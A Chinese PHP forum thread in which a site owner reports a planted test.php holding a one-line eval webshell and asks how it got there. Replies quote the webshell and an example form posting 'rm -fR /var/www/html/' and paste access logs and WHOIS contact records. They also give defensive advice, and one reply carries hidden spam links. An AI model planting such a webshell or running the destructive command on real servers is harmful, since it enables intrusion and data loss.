我们网站不知道怎么的多了个test.php内容如下 :<?php eval($_POST[cmd]);?>找了很多资料,也没看出个大概..1. 我想知道这个一般是怎么注入到我们网站里的??2. 它主要起什么作用??我们网站其它原文件应该不会也被注入了吧...
解决方案 »
- 麻烦各位,这个功能能实现吗?
- 如何从数据库中提取该会员的其他信息 并自动显示在文本框中
- 大家看一下,这网站做得怎么样?我觉得一般,网上最近炒得还挺厉害的。
- PHP面向对象开发
- 求助:php中调用socket_write()后,怎么清空缓存使其迅速发出?以及如何设置socket的时限?急!
- 如何对日期进行排序??在线急等!!·
- $_SERVER["HTTP_REFERER"]有时候怎么取不到值?
- 想半天也不明白的问题,怎么就这么慢!??
- 请朋友们帮助提供一些php+mysql收费空间的信息
- 一字符串处理问题
- 菜鸟求助 从前台表单获取值输入数据库中
- 如何用正则过滤img标签内指定的style属性?
2. 执行任何命令
比如我的form里写上<input type='hidden' name='cmd' value='rm -fR /var/www/html/'/>
post到test.php上就能删除/var/www/html下的所有文件。
222.35.44.41 - - [17/Apr/2008:18:16:22 +0800] "GET /apache_pb.gif HTTP/1.1" 200 2326
222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:21:25 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:21:29 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:16 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:18 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:22 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:22:32 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:22:37 +0800] "GET /test.php HTTP/1.1" 200 63
222.35.44.41 - - [17/Apr/2008:19:24:59 +0800] "GET /test.php HTTP/1.1" 200 20
222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:26:10 +0800] "GET /apache_pb.gif HTTP/1.1" 304 -
222.35.44.41 - - [17/Apr/2008:19:26:12 +0800] "GET / HTTP/1.1" 200 1018
222.35.44.41 - - [17/Apr/2008:19:26:15 +0800] "GET /test.php HTTP/1.1" 200 45300
222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146
222.35.44.41 - - [17/Apr/2008:19:26:16 +0800] "GET /test.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524
log没有用(除非你提供upload功能让对方上传),查一查是不是FTP或者telnet传上去的,
test.php的用户名,生成日期:
ls -al test.php
不是内部人干的吧?FTP应该有log文件,不知道你服务器都提供什么服务所以无从谈起.
如果网络服务器有上传文件,那么查apache里的test.php所有信息看是不是上传的.
2.搜索所有访问test.php的IP地址搜集完资料后整理出来,报案。[code=BatchFile]inetnum: 222.32.0.0 - 222.63.255.255
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
country: CN
admin-c: LQ112-AP
tech-c: LM273-AP
status: ALLOCATED PORTABLE
mnt-by: MAINT-CNNIC-AP
changed: [email protected] 20030902
source: APNICroute: 222.32.0.0/11
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
country: CN
origin: AS9394
mnt-by: MAINT-CN-CRTC
changed: [email protected] 20040402
source: APNICperson: LV QIANG
nic-hdl: LQ112-AP
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51892111
fax-no: +86-10-51847845
country: CN
changed: [email protected] 20060911
mnt-by: MAINT-CNNIC-AP
source: APNICperson: liu min
nic-hdl: LM273-AP
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51848796
fax-no: +86-10-51842426
country: CN
changed: [email protected] 20041208
mnt-by: MAINT-CNNIC-AP
source: APNICinetnum: 222.32.0.0 - 222.63.255.255
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,China
country: CN
admin-c: LQ112-CN
tech-c: LM273-CN
status: ALLOCATED PORTABLE
changed: [email protected] 20030902
mnt-by: MAINT-CNNIC-AP
source: CNNICperson: LV QIANG
nic-hdl: LQ112-CN
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing
phone: +86-10-51892111
fax-no: +86-10-51847845
country: CN
changed: [email protected] 20060419
mnt-by: MAINT-CNNIC-AP
source: CNNICperson: liu min
nic-hdl: LM273-CN
e-mail: [email protected]
address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.China
phone: +86-10-51848796
fax-no: +86-10-51842426
country: CN
changed: [email protected] 20041208
mnt-by: MAINT-CNNIC-AP
source: CNNIC [/code]
很多方法能做到
SQL 注入都可以
现在那个test.php已经给我删了,应该没那么严重吧..
找一下disable_functions
http://www.php.net/manual/en/ini.sect.safe-mode.php
严重到它可以远程操作你的服务器,执行任何命令。
何止SQL注入,包括数据库连接ID、密码都可以得到。
disable_functions = eval ??
2.搜索所有访问test.php的IP地址 如何操作的?还好我的数据库没有问题...
光看修改日期是不能判断,因为修改日期是可疑改的,多看看web访问日志,最好关掉web服务,好好检查一下,
如果你的程序漏洞不堵上,就算你把文件删了,他还可疑再传一个上去
不会看不懂这是个webshell吧?
无缘无故多个文件的途径如下:
1.通过远程操作上传文件,方法诸如:telnet、sftp、ftp、ssh等
2.通过Apache的漏洞上传文件
3.通过其他程序漏洞上传文件验证、解决方法:
1.关闭不必要端口,防火墙扫描、过滤所有的通信包,调查病毒文件的来源
2.缩小服务器文件系统访问权限,设定完成后,设定root用户无效。
3.如果有必要,可以考虑SELinux如果以上方法实行起来都有难度,下载gcc、Apache和PHP代码,自行编译、升级服务器,不用rpm包。还有一点lz必须考虑,就是内部人的蓄意破坏,所以,服务器账号必须严格管理。
netname: CRTC
descr: CHINA RAILWAY TELECOMMUNICATIONS CENTER
descr: 22F Yuetan Mansion,Xicheng District,Beijing,China
country: CN
admin-c: LQ112-CN
tech-c: LM273-CN
status: ALLOCATED PORTABLE
changed: [email protected] 20030902
mnt-by: MAINT-CNNIC-AP
source: CNNIC
这个不知道有没有log?
一下。
[color=#eaeaea]www.mica8.com[/color] [color=#eaeaea]一卡多号[/color]
[color=#eaeaea]www.hk63.com[/color] 广州短信群发
[color=#eaeaea]www.mica8.cn[/color] [color=#eaeaea]服装批发
www.gdpp.com 新技网
http://shop.mica8.cn [/color]热水器
[color=#eaeaea]http://bbs.tz886.cn[/color] 外贸童装论坛
[color=#eaeaea]http://bbs.toy11.cn[/color] 航模论坛
[color=#eaeaea]http://bbs.mica8.com[/color] 手机视频下载
[color=#eaeaea]www.jy298.cn[/color] LV包
www.tz886.cn 童装批发
www.toy11.cn 遥控飞机
www.hk63.cn 皮具批发
[/color]
就這句可以執行任意想執行的代碼了,以CMD為參數
前些天爆了0day来不是。上传个图片加个/.php就能当马用。
反正能上传的地 方都看一下吧。注意先清一下马